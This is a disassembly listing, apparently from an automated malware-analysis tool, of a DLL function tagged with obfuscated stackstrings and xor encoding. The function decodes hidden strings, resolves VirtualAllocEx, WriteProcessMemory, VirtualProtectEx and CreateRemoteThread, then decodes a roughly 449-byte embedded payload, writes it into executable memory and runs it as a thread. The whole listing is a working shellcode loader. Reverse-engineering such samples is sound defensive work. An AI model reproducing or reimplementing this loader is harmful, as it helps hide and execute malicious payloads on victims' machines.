Function at 0x180001070
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov r13d, edx
mov dword [rsp + 0x50], 0x930e21f3
mov dword [rsp + 0x54], 0x33a3c3
mov dword [rsp + 0x58], 0x45050000
mov dword [rsp + 0x5c], 0x21494105
mov dword [rsp + 0x60], 0x59454bc4
mov dword [rsp + 0x64], 0x492e2195
mov dword [rsp + 0x68], 0x492e2181
mov dword [rsp + 0x6c], 0x492e2160
mov dword [rsp + 0x70], 0xde3c2180
mov dword [rsp + 0x74], 0xc4352929
mov dword [rsp + 0x78], 0xc92e2127
mov dword [rsp + 0x7c], 0x3c42141
mov dword [rbp - 0x80], 0xf185f0b2
mov dword [rbp - 0x7c], 0x580b008
mov dword [rbp - 0x78], 0x5342707
mov dword [rbp - 0x74], 0xb78b0704
mov dword [rbp - 0x70], 0x492e2149
mov dword [rbp - 0x6c], 0xf0092e80
mov dword [rbp - 0x68], 0x5430421
mov dword [rbp - 0x64], 0xe1069945
mov dword [rbp - 0x60], 0x3c082c60
mov dword [rbp - 0x5c], 0xc916
mov dword [rbp - 0x58], 0x22022e00
mov dword [rbp - 0x54], 0x21000000
mov dword [rbp - 0x50], 0x9dd10316
mov dword [rbp - 0x4c], 0x2e430421
mov dword [rbp - 0x48], 0x2e116021
mov dword [rbp - 0x44], 0x25418001
mov dword [rbp - 0x40], 0x598f4304
mov dword [rbp - 0x3c], 0x2127c435
mov dword [rbp - 0x38], 0x2e0527ff
mov dword [rbp - 0x34], 0x42122d0
mov dword [rbp - 0x30], 0x3c4215b
mov dword [rbp - 0x2c], 0x270705b2
mov dword [rbp - 0x28], 0x7040534
mov dword [rbp - 0x24], 0xc7d583e0
mov dword [rbp - 0x20], 0x90310c31
mov dword [rbp - 0x1c], 0x47e41520
mov dword [rbp - 0x18], 0x116163d5
mov dword [rbp - 0x14], 0x2590012e
mov dword [rbp - 0x10], 0x5994304
mov dword [rbp - 0xc], 0x1121302e
mov dword [rbp - 8], 0x2570012e
mov dword [rbp - 4], 0x2e054304
mov dword [rbp], 0x61052210
mov dword [rbp + 4], 0x4216105
mov dword [rbp + 8], 0x69657943
mov dword [rbp + 0xc], 0x65056105
mov dword [rbp + 0x10], 0xe216905
mov dword [rbp + 0x14], 0x490580b3
mov dword [rbp + 0x18], 0x56183ff
mov dword [rbp + 0x1c], 0x2e216965
mov dword [rbp + 0x20], 0xff2da748
mov dword [rbp + 0x24], 0x2575ffff
mov dword [rbp + 0x28], 0xc8cdddfa
mov dword [rbp + 0x2c], 0xc8cc7d
mov dword [rbp + 0x30], 0x25590500
mov dword [rbp + 0x34], 0x6219b26
mov dword [rbp + 0x38], 0x482b3
mov dword [rbp + 0x3c], 0x97262500
mov dword [rbp + 0x40], 0x8f225
mov dword [rbp + 0x44], 0x7eb47144
mov dword [rbp + 0x48], 0x5105eae3
mov dword [rbp + 0x4c], 0x31932625
mov dword [rbp + 0x50], 0xea05c726
mov dword [rbp + 0x54], 0x1c98dd31
mov dword [rbp + 0x58], 0x263157ff
mov dword [rbp + 0x5c], 0x404a1ab
mov dword [rbp + 0x60], 0x5650000
mov dword [rbp + 0x64], 0xad02a4ea
mov dword [rbp + 0x68], 0xa957ff00
mov dword [rbp + 0x6c], 0x41790528
mov dword [rbp + 0x70], 0x27c43541
mov dword [rbp + 0x74], 0x2103c435
mov dword [rbp + 0x78], 0x262103ff
mov dword [rbp + 0x7c], 0x3ff210b
mov dword [rbp + 0x80], 0x5072621
mov dword [rbp + 0x84], 0x7f3cabea
mov dword [rbp + 0x88], 0x2157ff83
mov dword [rbp + 0x8c], 0x40a91f26
mov ecx, 0xc
mov dword [rbp + 0x90], 0x26316105
mov dword [rbp + 0x94], 0xe726218b
mov dword [rbp + 0x98], 0x9666ea05
mov dword [rbp + 0x9c], 0x57ff85d1
mov dword [rbp + 0xa0], 0x30d10316
mov dword [rbp + 0xa4], 0xd53bff25
mov dword [rbp + 0xa8], 0xd6c3a197
mov dword [rbp + 0xac], 0x57ff598a
mov dword [rbp + 0xb0], 0x40b30e21
mov dword [rbp + 0xb4], 0x358b2621
mov dword [rbp + 0xb8], 0x10a927c4
mov dword [rbp + 0xbc], 0x26216105
mov dword [rbp + 0xc0], 0x8ea05e7
mov dword [rbp + 0xc4], 0xff7d2367
mov dword [rbp + 0xc8], 0x130e2157
mov dword [rbp + 0xcc], 0xdb267980
mov dword [rbp + 0xd0], 0x650501a9
mov dword [rbp + 0xd4], 0x4000a1
mov dword [rbp + 0xd8], 0x21610500
mov dword [rbp + 0xdc], 0xc421cb26
mov dword [rbp + 0xe0], 0x61ea0527
mov dword [rbp + 0xe4], 0xff974d92
mov dword [rbp + 0xe8], 0xf262157
mov dword [rbp + 0xec], 0x351f2625
mov dword [rbp + 0xf0], 0x262527c4
mov dword [rbp + 0xf4], 0x6b2621c3
mov dword [rbp + 0xf8], 0x5e72621
mov dword [rbp + 0xfc], 0x236708ea
mov dword [rbp + 0x100], 0x2157ff7d
mov dword [rbp + 0x104], 0xa4210f04
mov dword [rbp + 0x108], 0xdb16211b
mov dword [rbp + 0x10c], 0xff0587d5
mov byte [rbp + 0x110], 0x9f
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor ebx, ebx
lea rdi, str.7C564B5F525F0A031957555D
mov rsi, rax
lea r8, [rbx + rsi]
mov rcx, rdi
lea rdx, str._2hhx
call fcn.180001010
inc rbx
add rdi, 2
cmp rbx, 0xc
jb 0x180001451
xor edx, edx
lea rax, [rbp + 0x120]
mov r8, rsi
lea r9, str.7391
sub r8, rax
nop word [rax + rax]
mov rax, rdx
lea rcx, [rbp + 0x120]
add rcx, rdx
and eax, 3
inc rdx
movzx eax, byte [rax + r9]
xor al, byte [r8 + rcx]
mov byte [rcx], al
cmp rdx, 0xc
jb 0x180001490
mov rcx, rsi
mov byte [rbp + 0x12c], 0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0xe
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor ebx, ebx
lea rdi, str.615A4B45425255705B5F5652724B
mov rsi, rax
nop dword [rax + rax]
lea r8, [rbx + rsi]
mov rcx, rdi
lea rdx, str._2hhx
call fcn.180001010
inc rbx
add rdi, 2
cmp rbx, 0xe
jb 0x1800014e0
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor ebx, ebx
lea rdi, str.6041504552634B5E54564A427A56545E454A
mov rsi, rax
lea r8, [rbx + rsi]
mov rcx, rdi
lea rdx, str._2hhx
call fcn.180001010
inc rbx
add rdi, 2
cmp rbx, 0x12
jb 0x180001520
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x10
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor ebx, ebx
lea rdi, str.615A4B4542525561455C4D5454477C49
mov rsi, rax
lea r8, [rbx + rsi]
mov rcx, rdi
lea rdx, str._2hhx
call fcn.180001010
inc rbx
add rdi, 2
cmp rbx, 0x10
jb 0x180001560
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor ebx, ebx
lea rdi, str.74415C5043566B545A5C4D54635B4B545657
mov rsi, rax
lea r8, [rbx + rsi]
mov rcx, rdi
lea rdx, str._2hhx
call fcn.180001010
inc rbx
add rdi, 2
cmp rbx, 0x12
jb 0x1800015a0
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.VirtualAllocEx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.WriteProcessMemory
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualProtectEx
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CreateRemoteThread
mov rcx, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
cmp r13d, 1
jne 0x1800016da
xor r13d, r13d
mov edx, r13d
nop word [rax + rax]
movzx ecx, byte [rsp + rdx + 0x50]
ror cl, 1
ror cl, 1
mov byte [rsp + rdx + 0x50], cl
inc rdx
cmp rdx, 0x1c1
jb 0x180001640
mov dword [rsp + 0x40], r13d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x20], 4
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x1c1
mov rdi, rax
call rsi
mov r9d, 0x1c1
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x50]
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call r14
lea rax, [rsp + 0x40]
mov r9d, 0x20
mov r8d, 0x1c1
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call r15
mov qword [rsp + 0x30], r13
mov r9, rbx
mov dword [rsp + 0x28], r13d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r13
mov rcx, rdi
call r12
mov eax, 1
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.180001720
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret